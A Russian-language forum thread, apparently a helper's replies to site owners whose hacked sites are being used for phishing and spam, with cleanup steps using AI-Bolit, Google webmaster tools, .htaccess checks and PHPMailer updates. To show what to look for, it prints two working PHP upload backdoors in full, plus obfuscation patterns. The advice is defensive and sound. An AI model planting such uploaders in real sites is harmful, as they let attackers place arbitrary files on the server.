Maxiz

на timeweb бесплатно выдаётся и автоматом продляется

Зайти в панель вебмастера гугла и проверь список своих Sitemap. Если найдёшь какие то левые, то значит твой сайт заражён и требуется его чистка.

Пиши в тех.поддержку гугла, обещай, что больше не будешь заниматься фишингом и снимут может быть с тебя санкции

К сожалению, айболит находит не все файлы, которые залиты на сайт, лежать втихаря в какой нибудь папочки и используются злоумышленниками например для заливки новых вредоносных скриптов, например Айболит никак не отмечает обычный PHP скрипт для аплоада (загрузки на сервер) любых файлов. Например у тебя с большой вероятностью ещё остались "левые" файлы, в которых содержится следующий код:

<?php
if ($mode=='upload') {
   if(is_uploaded_file($_FILES["filename"]["tmp_name"]))
   {
     move_uploaded_file($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
	 echo $_FILES["filename"]["name"];
   } 
} 
?>

или

<?php
print '<h1>#p@$c@#</h1>';
echo "D00D: "; /*_*/
echo $_SERVER['REMOTE_ADDR'];
echo "<form method=\"post\" enctype=\"multipart/form-data\">\n";
echo "<input type=\"submit\" value=\"LOAD\"><br>\n";
echo "<input type=\"file\" name=\"filename\"><br> \n";
echo "</form>\n";   

if ( @is_uploaded_file( $_FILES["filename"]["tmp_name"] ))
{
	  
	move_uploaded_file($_FILES["filename"]["tmp_name"],    $_FILES["filename"]["name"]);
	  
	$file = $_FILES["filename"]["name"];  
	echo "<a href=\"$file\">$file</a>";
	  
}
else
{
	/*_*/
	echo("empty");
	/*_*/
}
  
$var1 = $_SERVER['SCRIPT_FILENAME'];
/*_*/
touch( $var1 );
?>

К сожалению, айболит не помечает такие файлы или код как подозрительные. Ну во-первых, потому, что такие куски кода присутствуют во многих стандартных файлах любой CMS.

В общем сейчас тебе надо вручную полазить по папкам сайт ,поискать файлы которые не относятся к твоей CMS. Я лечил много сайтов и часто вредоносный код содержистя в файлах с именами: mail.php, ini.php, backup.php, license.php, gallery.phpб config.php... в общем вручную посмотри

они обычно содержат подобные куски кода:

...["\x67\x6fg\x63\x7a\x68\x62\x6dq"]...

или

...chr(101).chr(99).chr(111).chr(100)....

Так же проверь файл .htaccess на наличие левых директив

P.S. Как то тут форум изменяет PHP код непонятно, звёздочки в коде и цифры 91, 93 выше сам форум тут добавил

У тебя уже весь сайт заражён. А заразился через класс PHPMailer ,в котором была обнаружена критическая уязвимость ещё в декабре 2016г.

Чисть весь сайт с помощью AI-Bolit, а так же ищи левые срипты и шеллы, который Ai-Bolit не всегда найти может. Если есть ещё неизолированые друг от друга сайте у тебя на акаунте на хостинге, то придётся их тоже чисить.

поставить на форму регистрации защитное изображение (каптча). Если уже имеется, то выбрать другую ,по сложнее, например Google Recaptcha

Это уязвимость нулевого дня скорее всего, которую сами CloudFlare потом и обнаружили, и им ничего не осталось делать ,как объявить о её существовании. Иначе бы, если они сами её обнаружили, то втихаря прикрыли бы и никому об этом не рассказали)

В панели вебмастера гугла удали все левые Sitemap и залей новый свой

Так же через robots.txt фильтрани по какому нибудь признаку все левые страницы

Hotara,

1. Скачай весь сайт к себе на компьютер (если у тебя стоит антивирус, то он уже удалит некоторые ненужные и вирусные PHP файлы)

2. Воспользуйся https://www.revisium.com/ai/ для проверки и чистки остальных файлов.

Вирусы так же добавляются в стандартные файлы твоей CMS, AI-Bolit укажет тебе на файлы, в которых присутствует вредоносный/левый код. Обычно он вставляется в начало PHP файлов.

Так же если сайты не твоём хостинге не изолированы друг от друга, то через один сайт могут заразиться все остальные у тебя на аккаунте.

Да, и обнови свои CMS обязательно, а особенно класс PHPmailer (через который в последнее время на все сайты лезут вирусы)

Ну взять например Joomla. там своя библиотека есть PhpMailer. которая находится по пути:

libraries/vendor/phpmailer/phpmailer/

И вот вроде как в последней версии (3.6.5) эта библиотека ещё уязвима.

Вот как бы с помощью htacess или настроек Php времено заблокировать эту уязвимость до следующего выхода обновления Joomla. Полностью на сервере функцию PHP mail() отключать неохото